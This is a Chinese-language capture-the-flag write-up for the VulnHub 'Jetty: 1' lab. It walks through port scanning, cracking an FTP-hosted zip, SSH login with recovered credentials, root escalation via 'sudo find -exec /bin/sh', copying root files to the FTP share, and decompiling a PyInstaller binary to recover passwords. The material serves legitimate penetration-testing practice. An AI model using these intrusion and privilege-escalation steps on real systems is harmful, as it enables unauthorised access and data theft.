靶场信息
地址:https://www.vulnhub.com/entry/jetty-1,621/
发布日期:2020年12月9日
难度:容易/中级
目标:获得root特权&获得所有证据来证明用户正在欺诈
运行:VMware Workstation 16.x Pro(默认的NAT网络模式,VMware比VirtualBox更好地工作)
描述:
水族馆生命有限公司已经联系你对他们的一台机器进行测试。他们怀疑他们的一名雇员在销售假票时犯了欺诈罪。他们想让你闯入他的电脑,升级权限,搜索任何能证明这种行为的证据。
解压密码:EsSabad0!
额外的信息:
- 可疑的用户名是Squiddie。
- 他负责水族馆的门票销售。
- 以太网设置设置为启用DHCP的NAT。
- 您应该在VLAN中找到IP。
这台机器的想法是,它不仅要获得root权限,还要获得所有证据来证明用户在实施欺诈。
困难:我想说的是,在获得root权限方面,难度是中等的。如果我们考虑所有获取证据的步骤,就很难了。
目录
一、信息收集
1.nmap:
nmap -sP 192.168.155.128/24
nmap -p 1-65535 192.168.155.130
2.网站信息收集:
访问192.168.155.130
目录扫描:
挨个访问,没有有用信息
二、漏洞探测&利用
1.转向21端口ftp服务:
ftp: //192.168.155.130
连接ftp并下载文件到本地
zip加密了,使用ARCHPR 加载kali默认密码字典破解
密码:seahorse!
打开sshpass.txt文件,得到ssh密码。
Squ1d4r3Th3B3$t0fTh3W0rLd
2.连接ssh
ssh squiddie@192.168.155.130 -p 65507
(需要使用-p参数修改端口号)
根据提示猜用户名:
Squiddie,Regards,Michael
都错误,将Squiddie的S改成小写,成功访问。
三、提权
1.升级交换式shell
squiddie:~$ python
Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34)
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pty
>>> pty.spawn("/bin/bash")
2.提权为root
sudo -l
sudo find . -exec /bin/sh \; -quit
python -c 'import pty;pty.spawn("/bin/bash")'
四、证据收集
1. user.txt
在路径/home/squiddie/Desktop发现文件To_Michael.txt和user.txt
user.txt中内容是md5密文
dd69f649f3e5159ddd10b83b56b2dda2
解密得到 2004737969
2. root.txt
在/home/microsystems/Desktop发现root.txt
root@jetty:/home/microsystems/Desktop# cat root.txt
Try Harder!
3. proof.txt
在/root/Desktop发现note.txt和proof.txt
root@jetty:/root/Desktop# cat note.txt
Say to Mary that I want to go on vacation on 2 weeks.
root@jetty:/root/Desktop# cat proof.txt
136d05d01c8af5d3e3520d2c270f91f1
解密得到 836934778
4.系统定时任务
crontab -l
表示每隔2分钟执行一次/etc/cron.daily/backup文件脚本,参考解释
查看backup脚本,是用来备份文件,然后设置权限700,仅root用户组可读可写可执行
文件从/root/Documents/.docs向/var/backups/.docs备份,rsync命令详解
查看/var/backups/.docs路径,有很多表格
拷贝到本地进行分析
cp -r * /home/ftp
将/root/Documents/.docs下的所有文件复制到ftp目录下, -r 递归。
访问ftp://192.168.155.130得到
要想获得表格的密码,得到小程序输入的密码即可,将程序反编译,并分析代码
这个程序是用pyinstaller编译的,可以使用工具反编译得到源码
5.反编译Pyinstaller打包的exe
下载地址 https://github.com/extremecoders-re/pyinstxtractor
使用方法:
将pyinstxtractor.py文件和程序放在同一文件夹下,使用
python2 pyinstxtractor.py password_keeper.exe
命令,就会在同一目录下产生一个password_keeper.exe_extracted目录,在目录下找到关键pyc文件也就是password_keeper.pyc,再将这个文件反编译。
使用python2运行。
执行之后会在pyinstxtractor.py同目录下生成一个文件夹(注意,使用python2运行,python3我这里会在反编译pyc的那一步报错)
使用uncompyle6反编译pyc文件
安装uncompyle
pip install uncompyle
反编译pyc文件
uncompyle6 .\password_keeper.pyc > password_keeper.py
打开反编译后的文件password_keeper.py
简单分析一下:
核心代码,输入1调用show_keys函数,然后再将我们输入的密码经过base64编码后得到的密文和N2FlMjE4ZmYyOTI4ZjZiMg==进行比较,一样就会输出密码,于是将这串密文base64解码得到
7ae218ff2928f6b2
运行password_keeper.exe,输入密码:7ae218ff2928f6b2
6.得到犯罪证据:
MoneyBalance.xlsx:C5Y0wzGqq4Xw8XGD,总共赚的钱,11月赚了140欧元
AccountabiltyReportMorning-1112018.xlsx:没有密码,因为这个是给老板看的修改过后的正常的账单
Accountabilty_not_cooked.xlsx:co8oiads13kt,未修改过的账单
Pending_to_erase.xlsx: 1hi2ChHrtkQsUTOc,准备消除证据的表格
五、总结
- 一开始使用ARCHPR 直接暴力破解zip得到一个密码: h8eku9,但打开解压文件后发现内容乱码,借鉴大佬做法,使用kali默认密码字典爆破。
- 提权方法:sudo find . -exec /bin/sh \; -quit
- 查看系统定时任务:crontab -l
- 拷贝指令:cp -r * /home/ftp
- 反编译工具Pyinstalle(python2),使用uncompyle6反编译pyc文件
参考:https://www.freebuf.com/articles/web/261787.html
https://blog.csdn.net/weixin_43784056/article/details/112182458